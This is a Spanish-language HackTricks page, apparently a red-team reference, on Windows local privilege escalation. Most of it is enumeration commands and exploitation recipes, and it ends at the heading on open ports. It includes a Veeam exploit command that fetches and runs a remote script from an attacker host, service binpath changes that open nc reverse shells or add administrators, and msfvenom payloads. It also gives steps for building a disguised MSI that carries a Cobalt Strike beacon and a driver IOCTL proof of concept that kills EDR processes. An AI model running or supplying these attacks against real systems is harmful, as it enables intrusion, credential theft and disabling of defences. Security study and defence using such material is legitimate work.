Windows Local Privilege Escalation

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Mejor herramienta para buscar vectores de Windows local privilege escalation: WinPEAS

Teoría inicial de Windows

Tokens de acceso

Si no sabes qué son los Windows Access Tokens, lee la siguiente página antes de continuar:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Consulta la siguiente página para más información sobre ACLs - DACLs/SACLs/ACEs:

ACLs - DACLs/SACLs/ACEs

Niveles de integridad

Si no sabes qué son los niveles de integridad en Windows deberías leer la siguiente página antes de continuar:

Integrity Levels

Controles de seguridad de Windows

Existen diferentes elementos en Windows que podrían impedirte enumerar el sistema, ejecutar ejecutables o incluso detectar tus actividades. Debes leer la siguiente página y enumerar todos estos mecanismos de defensa antes de comenzar la enumeración de privilege escalation:

Windows Security Controls

Admin Protection / UIAccess elevación silenciosa

Los procesos UIAccess iniciados mediante RAiLaunchAdminProcess pueden ser abusados para alcanzar High IL sin avisos cuando se eluden las comprobaciones de secure-path de AppInfo. Consulta el flujo de trabajo dedicado de bypass UIAccess/Admin Protection aquí:

Uiaccess Admin Protection Bypass

Información del sistema

Enumeración de información de versión

Comprueba si la versión de Windows tiene alguna vulnerabilidad conocida (revisa también los parches aplicados).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Exploits por versión

This site is handy for searching out detailed information about Microsoft security vulnerabilities. This database has more than 4,700 security vulnerabilities, showing the massive attack surface that a Windows environment presents.

En el sistema

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas tiene watson integrado)

Localmente con información del sistema

Repositorios de GitHub con exploits:

Entorno

¿Alguna credential/Juicy info guardada en las env variables?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

Historial de PowerShell

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

Archivos de transcripción de PowerShell

Puedes aprender cómo habilitar esto en https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

Registro de módulos de PowerShell

Se registran detalles de las ejecuciones del pipeline de PowerShell, abarcando comandos ejecutados, invocaciones de comandos y partes de scripts. Sin embargo, los detalles completos de la ejecución y los resultados de salida podrían no capturarse.

Para habilitar esto, siga las instrucciones en la sección “Transcript files” de la documentación, optando por “Module Logging” en lugar de “Powershell Transcription”.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Para ver los últimos 15 eventos de los registros de PowersShell puedes ejecutar:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Se captura un registro completo de la actividad y del contenido íntegro de la ejecución del script, asegurando que cada bloque de código quede documentado mientras se ejecuta. Este proceso preserva una cadena de auditoría exhaustiva para cada actividad, valiosa para el análisis forense y para el estudio de comportamientos maliciosos. Al documentar toda la actividad en el momento de la ejecución, se obtienen conocimientos detallados sobre el proceso.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Los eventos de registro para Script Block se pueden localizar en Windows Event Viewer en la ruta: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Para ver los últimos 20 eventos puedes usar:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Configuración de Internet

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Unidades

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Puedes comprometer el sistema si las actualizaciones no se solicitan usando httpS pero http.

Comienzas comprobando si la red utiliza una actualización WSUS sin SSL ejecutando lo siguiente en cmd:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

O lo siguiente en PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Si recibes una respuesta como una de estas:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

Y si HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer o Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" es igual a 1.

Entonces, es explotable. Si el último valor del registro es igual a 0, la entrada de WSUS será ignorada.

Para explotar esta vulnerabilidad puedes usar herramientas como: Wsuxploit, pyWSUS - Estos son scripts MiTM weaponized para inyectar actualizaciones ‘fake’ en el tráfico WSUS no-SSL.

Lee la investigación aquí:

WSUS CVE-2020-1013

Read the complete report here.
Básicamente, este es el fallo que explota este bug:

Si tenemos la capacidad de modificar nuestro proxy de usuario local, y Windows Updates usa el proxy configurado en las opciones de Internet Explorer, por lo tanto tenemos la capacidad de ejecutar PyWSUS localmente para interceptar nuestro propio tráfico y ejecutar código como un usuario elevado en nuestro activo.

Además, dado que el servicio WSUS usa la configuración del usuario actual, también usará su almacén de certificados. Si generamos un certificado autofirmado para el hostname de WSUS y añadimos ese certificado en el almacén de certificados del usuario actual, podremos interceptar tanto tráfico HTTP como HTTPS de WSUS. WSUS no usa mecanismos tipo HSTS-like para implementar una validación trust-on-first-use sobre el certificado. Si el certificado presentado es confiable para el usuario y tiene el hostname correcto, será aceptado por el servicio.

Puedes explotar esta vulnerabilidad usando la herramienta WSUSpicious (una vez esté liberada).

Third-Party Auto-Updaters and Agent IPC (local privesc)

Muchos agentes empresariales exponen una superficie IPC en localhost y un canal de actualización privilegiado. Si la inscripción puede ser forzada hacia un servidor controlado por el atacante y el updater confía en una rogue root CA o en comprobaciones de firma débiles, un usuario local puede entregar un MSI malicioso que el servicio SYSTEM instala. Ve una técnica generalizada (basada en la cadena Netskope stAgentSvc – CVE-2025-0309) aquí:

Abusing Auto Updaters And Ipc

Veeam Backup & Replication CVE-2023-27532 (SYSTEM via TCP 9401)

Veeam B&R < 11.0.1.1261 expone un servicio en localhost en TCP/9401 que procesa mensajes controlados por el atacante, permitiendo comandos arbitrarios como NT AUTHORITY\SYSTEM.

  • Recon: confirma el listener y la versión, por ejemplo, netstat -ano | findstr 9401 y (Get-Item "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Shell.exe").VersionInfo.FileVersion.
  • Exploit: coloca un PoC como VeeamHax.exe con las DLLs de Veeam requeridas en el mismo directorio, y luego dispara un payload SYSTEM sobre el socket local:
.\VeeamHax.exe --cmd "powershell -ep bypass -c \"iex(iwr http://attacker/shell.ps1 -usebasicparsing)\""

El servicio ejecuta el comando como SYSTEM.

KrbRelayUp

Existe una vulnerabilidad de local privilege escalation en entornos de dominio de Windows bajo condiciones específicas. Estas condiciones incluyen entornos donde LDAP signing no está aplicado, usuarios que poseen derechos propios que les permiten configurar Resource-Based Constrained Delegation (RBCD), y la capacidad de que los usuarios creen equipos dentro del dominio. Es importante notar que estos requisitos se cumplen con la configuración por defecto.

Encuentra el exploit en https://github.com/Dec0ne/KrbRelayUp

Para más información sobre el flujo del ataque consulta https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Si estas 2 entradas del registro están habilitadas (valor es 0x1), entonces usuarios de cualquier privilegio pueden instalar (ejecutar) archivos *.msi como NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Payloads de Metasploit

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Si tienes una sesión meterpreter puedes automatizar esta técnica usando el módulo exploit/windows/local/always_install_elevated

PowerUP

Usa el comando Write-UserAddMSI de power-up para crear dentro del directorio actual un binario MSI de Windows para escalar privilegios. Este script genera un instalador MSI precompilado que solicita la adición de un usuario/grupo (por lo que necesitarás acceso GIU):

Write-UserAddMSI

Simplemente ejecuta el binary creado para escalar privilegios.

MSI Wrapper

Lee este tutorial para aprender cómo crear un MSI wrapper usando estas herramientas. Ten en cuenta que puedes envolver un “.bat” si solo quieres execute command lines

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

  • Genera con Cobalt Strike o Metasploit un nuevo Windows EXE TCP payload en C:\privesc\beacon.exe
  • Abre Visual Studio, selecciona Create a new project y escribe “installer” en el cuadro de búsqueda. Selecciona el proyecto Setup Wizard y haz clic en Next.
  • Asigna al proyecto un nombre, por ejemplo AlwaysPrivesc, usa C:\privesc para la ubicación, selecciona place solution and project in the same directory, y haz clic en Create.
  • Sigue haciendo clic en Next hasta que llegues al paso 3 de 4 (choose files to include). Haz clic en Add y selecciona el Beacon payload que acabas de generar. Luego haz clic en Finish.
  • Selecciona el proyecto AlwaysPrivesc en el Solution Explorer y en las Properties, cambia TargetPlatform de x86 a x64.
  • Hay otras propiedades que puedes cambiar, como Author y Manufacturer, lo cual puede hacer que la aplicación instalada parezca más legítima.
  • Haz clic derecho en el proyecto y selecciona View > Custom Actions.
  • Haz clic derecho en Install y selecciona Add Custom Action.
  • Haz doble clic en Application Folder, selecciona tu archivo beacon.exe y haz clic en OK. Esto asegurará que el beacon payload se ejecute tan pronto se inicie el instalador.
  • Bajo las Custom Action Properties, cambia Run64Bit a True.
  • Finalmente, compílalo.
  • Si se muestra la advertencia File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86', asegúrate de configurar la plataforma en x64.

MSI Installation

Para ejecutar la instalación del archivo malicioso .msi en segundo plano:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Para explotar esta vulnerabilidad puedes usar: exploit/windows/local/always_install_elevated

Antivirus y Detectores

Configuración de auditoría

Estos ajustes deciden qué se está registrando, por lo que debes prestar atención.

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, es interesante saber a dónde se envían los logs

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS está diseñado para la gestión de contraseñas locales de Administrator, garantizando que cada contraseña sea única, aleatoria y actualizada regularmente en equipos unidos a un dominio. Estas contraseñas se almacenan de forma segura en Active Directory y solo pueden ser accedidas por usuarios a quienes se les hayan concedido permisos suficientes mediante ACLs, permitiéndoles ver las contraseñas de Administrator locales si están autorizados.

LAPS

WDigest

Si está activo, las contraseñas en texto plano se almacenan en LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

A partir de Windows 8.1, Microsoft introdujo una protección mejorada para la Autoridad de Seguridad Local (LSA) para bloquear intentos de procesos no confiables de leer su memoria o inyectar código, protegiendo aún más el sistema.
More info about LSA Protection here.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard fue introducido en Windows 10. Su propósito es salvaguardar las credentials almacenadas en un dispositivo frente a amenazas como los ataques pass-the-hash.| Más información sobre Credentials Guard aquí.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials son autenticadas por la Local Security Authority (LSA) y utilizadas por los componentes del sistema operativo. Cuando los datos de logon de un usuario son autenticados por un registered security package, típicamente se establecen domain credentials para el usuario.
More info about Cached Credentials here.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Usuarios y Grupos

Enumerar Usuarios y Grupos

Deberías comprobar si alguno de los grupos a los que perteneces tiene permisos interesantes.

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Grupos privilegiados

Si perteneces a algún grupo privilegiado, podrías ser capaz de escalar privilegios. Aprende sobre grupos privilegiados y cómo abusar de ellos para escalar privilegios aquí:

Privileged Groups

Manipulación de tokens

Aprende más sobre qué es un token en esta página: Windows Tokens.
Consulta la siguiente página para aprender sobre tokens interesantes y cómo abusar de ellos:

Abusing Tokens

Usuarios conectados / Sesiones

qwinsta
klist sessions

Carpetas de usuario

dir C:\Users
Get-ChildItem C:\Users

Política de Contraseñas

net accounts

Obtener el contenido del portapapeles

powershell -command "Get-Clipboard"

Procesos en ejecución

Permisos de archivos y carpetas

Antes que nada, al listar los procesos, comprueba si hay passwords dentro de la command line del proceso.
Comprueba si puedes sobrescribir algún binary en ejecución o si tienes permisos de escritura en la carpeta del binary para explotar posibles DLL Hijacking attacks:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Siempre comprueba si hay posibles electron/cef/chromium debuggers running, you could abuse it to escalate privileges.

Comprobación de permisos de los binarios de los procesos

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Comprobando permisos de las carpetas de los binarios de los procesos (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

Puedes crear un volcado de memoria de un proceso en ejecución usando procdump de sysinternals. Servicios como FTP tienen las credentials in clear text in memory, intenta volcar la memoria y leer las credentials.

procdump.exe -accepteula -ma <proc_name_tasklist>

Aplicaciones GUI inseguras

Las aplicaciones que se ejecutan como SYSTEM pueden permitir a un usuario iniciar un CMD o explorar directorios.

Ejemplo: “Windows Help and Support” (Windows + F1), busca “command prompt”, haz clic en “Click to open Command Prompt”

Servicios

Service Triggers permiten a Windows iniciar un servicio cuando ocurren ciertas condiciones (named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh, etc.). Incluso sin los derechos SERVICE_START a menudo puedes iniciar servicios privilegiados activando sus triggers. Consulta técnicas de enumeración y activación aquí:

Service Triggers

Obtén una lista de servicios:

net start
wmic service list brief
sc query
Get-Service

Permisos

Puedes usar sc para obtener información de un servicio

sc qc <service_name>

Se recomienda tener el binario accesschk de Sysinternals para comprobar el nivel de privilegios requerido para cada servicio.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Se recomienda comprobar si “Authenticated Users” pueden modificar algún servicio:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

Puedes descargar accesschk.exe para XP aquí

Habilitar servicio

Si tienes este error (por ejemplo con SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

Puedes habilitarlo usando

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Tenga en cuenta que el servicio upnphost depende de SSDPSRV para funcionar (para XP SP1)

Otra solución a este problema es ejecutar:

sc.exe config usosvc start= auto

Modify service binary path

En el escenario en el que el grupo “Authenticated users” posee SERVICE_ALL_ACCESS en un servicio, es posible modificar el binario ejecutable del servicio. Para modificar y ejecutar sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Reiniciar servicio

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Los privilegios pueden escalarse a través de varios permisos:

  • SERVICE_CHANGE_CONFIG: Permite la reconfiguración del binario del servicio.
  • WRITE_DAC: Habilita la reconfiguración de permisos, conduciendo a la capacidad de cambiar las configuraciones del servicio.
  • WRITE_OWNER: Permite la adquisición de la propiedad y la reconfiguración de permisos.
  • GENERIC_WRITE: Hereda la capacidad de cambiar las configuraciones del servicio.
  • GENERIC_ALL: También hereda la capacidad de cambiar las configuraciones del servicio.

Para la detección y explotación de esta vulnerabilidad, se puede utilizar exploit/windows/local/service_permissions.

Permisos débiles en binarios de servicios

Comprueba si puedes modificar el binario que es ejecutado por un servicio o si tienes permisos de escritura en la carpeta donde se encuentra el binario (DLL Hijacking).
Puedes obtener todos los binarios que ejecuta un servicio usando wmic (no en system32) y comprobar tus permisos usando icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

También puedes usar sc e icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Permisos para modificar el registro de servicios

Deberías comprobar si puedes modificar algún registro de servicios.
Puedes comprobar tus permisos sobre un registro de servicios haciendo:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Se debe comprobar si Authenticated Users o NT AUTHORITY\INTERACTIVE poseen permisos de FullControl. Si es así, el binary ejecutado por el servicio puede ser alterado.

Para cambiar la Path del binary ejecutado:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Registro de servicios: permisos AppendData/AddSubdirectory

Si tienes este permiso sobre una clave del registro significa que puedes crear subclaves de registro a partir de esta. En el caso de los servicios de Windows, esto es suficiente para ejecutar código arbitrario:

AppendData/AddSubdirectory permission over service registry

Rutas de servicio sin comillas

Si la ruta de un ejecutable no está entre comillas, Windows intentará ejecutar cada terminación antes de un espacio.

Por ejemplo, para la ruta C:\Program Files\Some Folder\Service.exe Windows intentará ejecutar:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Enumera todas las rutas de servicio no entrecomilladas, excluyendo las que pertenecen a los servicios integrados de Windows:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\system32" | findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose

for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:"\""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Puedes detectar y explotar esta vulnerabilidad con metasploit: exploit/windows/local/trusted\_service\_path Puedes crear manualmente un binario de servicio con metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Acciones de recuperación

Windows permite a los usuarios especificar acciones que se ejecutarán si un servicio falla. Esta característica puede configurarse para apuntar a un binary. Si este binary es reemplazable, podría ser posible la escalada de privilegios. Puedes encontrar más detalles en la documentación oficial.

Aplicaciones

Aplicaciones instaladas

Comprueba los permisos de los binaries (tal vez puedas sobrescribir uno y escalar privilegios) y de las carpetas (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Permisos de escritura

Comprueba si puedes modificar algún archivo de configuración para leer algún archivo especial o si puedes modificar algún binario que va a ser ejecutado por una cuenta de Administrador (schedtasks).

Una forma de encontrar permisos débiles en carpetas/archivos en el sistema es ejecutar:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*

icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Persistencia/ejecución por autoload de plugins de Notepad++

Notepad++ carga automáticamente cualquier DLL de plugin en sus subcarpetas plugins. Si existe una instalación portátil o copia con permisos de escritura, colocar un plugin malicioso concede ejecución automática de código dentro de notepad++.exe en cada inicio (incluso desde DllMain y plugin callbacks).

Notepad Plus Plus Plugin Autoload Persistence

Ejecutar al inicio

Comprueba si puedes sobrescribir alguna entrada del registro o un binario que vaya a ser ejecutado por otro usuario.
Lee la siguiente página para aprender más sobre ubicaciones interesantes de autoruns para escalar privilegios:

Privilege Escalation with Autoruns

Controladores

Busca posibles controladores de terceros extraños/vulnerables

driverquery
driverquery.exe /fo table
driverquery /SI

Si un driver expone un arbitrary kernel read/write primitive (común en controladores IOCTL mal diseñados), puedes escalar robando un SYSTEM token directamente de la memoria del kernel. Consulta la técnica paso a paso aquí:

Arbitrary Kernel Rw Token Theft

Para bugs de race-condition donde la llamada vulnerable abre una ruta del Object Manager controlada por el atacante, ralentizar deliberadamente la búsqueda (usando componentes de max-length o cadenas de directorios profundas) puede ampliar la ventana de microsegundos a decenas de microsegundos:

Kernel Race Condition Object Manager Slowdown

Primitivas de corrupción de memoria de Registry hive

Las vulnerabilidades modernas de hive permiten preparar layouts deterministas, abusar de descendientes HKLM/HKU escribibles y convertir la corrupción de metadatos en kernel paged-pool overflows sin un driver personalizado. Aprende la cadena completa aquí:

Windows Registry Hive Exploitation

Abuso de la ausencia de FILE_DEVICE_SECURE_OPEN en device objects (LPE + EDR kill)

Algunos drivers de terceros firmados crean su device object con un SDDL fuerte vía IoCreateDeviceSecure pero olvidan establecer FILE_DEVICE_SECURE_OPEN en DeviceCharacteristics. Sin esta bandera, el secure DACL no se aplica cuando el dispositivo se abre a través de una ruta que contiene un componente extra, permitiendo que cualquier usuario sin privilegios obtenga un handle usando una ruta de namespace como:

  • \ .\DeviceName\anything
  • \ .\amsdk\anyfile (from a real-world case)

Una vez que un usuario puede abrir el device, los IOCTLs privilegiados expuestos por el driver pueden ser abusados para LPE y tampering. Capacidades observadas en la naturaleza:

  • Devolver handles con acceso completo a procesos arbitrarios (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
  • Lectura/escritura raw de disco sin restricciones (manipulación offline, trucos de persistencia en boot time).
  • Terminar procesos arbitrarios, incluyendo Protected Process/Light (PP/PPL), permitiendo kill de AV/EDR desde user land vía kernel.

Patrón mínimo de PoC (user mode):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Mitigations for developers

  • Siempre establezca FILE_DEVICE_SECURE_OPEN al crear device objects que deban ser restringidos por una DACL.
  • Valide el contexto del caller para operaciones privilegiadas. Añada comprobaciones PP/PPL antes de permitir la terminación de procesos o la devolución de handles.
  • Restringa los IOCTLs (access masks, METHOD_*, validación de entrada) y considere modelos brokered en lugar de privilegios directos en el kernel.

Detection ideas for defenders

  • Monitoree los opens en user-mode de nombres de dispositivo sospechosos (p. ej., \ .\amsdk*) y secuencias específicas de IOCTL indicativas de abuso.
  • Aplique el vulnerable driver blocklist de Microsoft (HVCI/WDAC/Smart App Control) y mantenga sus propias allow/deny lists.

PATH DLL Hijacking

If you have permisos de escritura dentro de una carpeta presente en PATH you could be able to hijack a DLL loaded by a process and escalate privileges.

Check permissions of all folders inside PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Para más información sobre cómo abusar de esta comprobación:

Writable Sys Path +Dll Hijacking Privesc

Red

Recursos compartidos

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Comprueba si hay otros equipos conocidos codificados de forma fija en el hosts file

type C:\Windows\System32\drivers\etc\hosts

Interfaces de red y DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Puertos abiertos

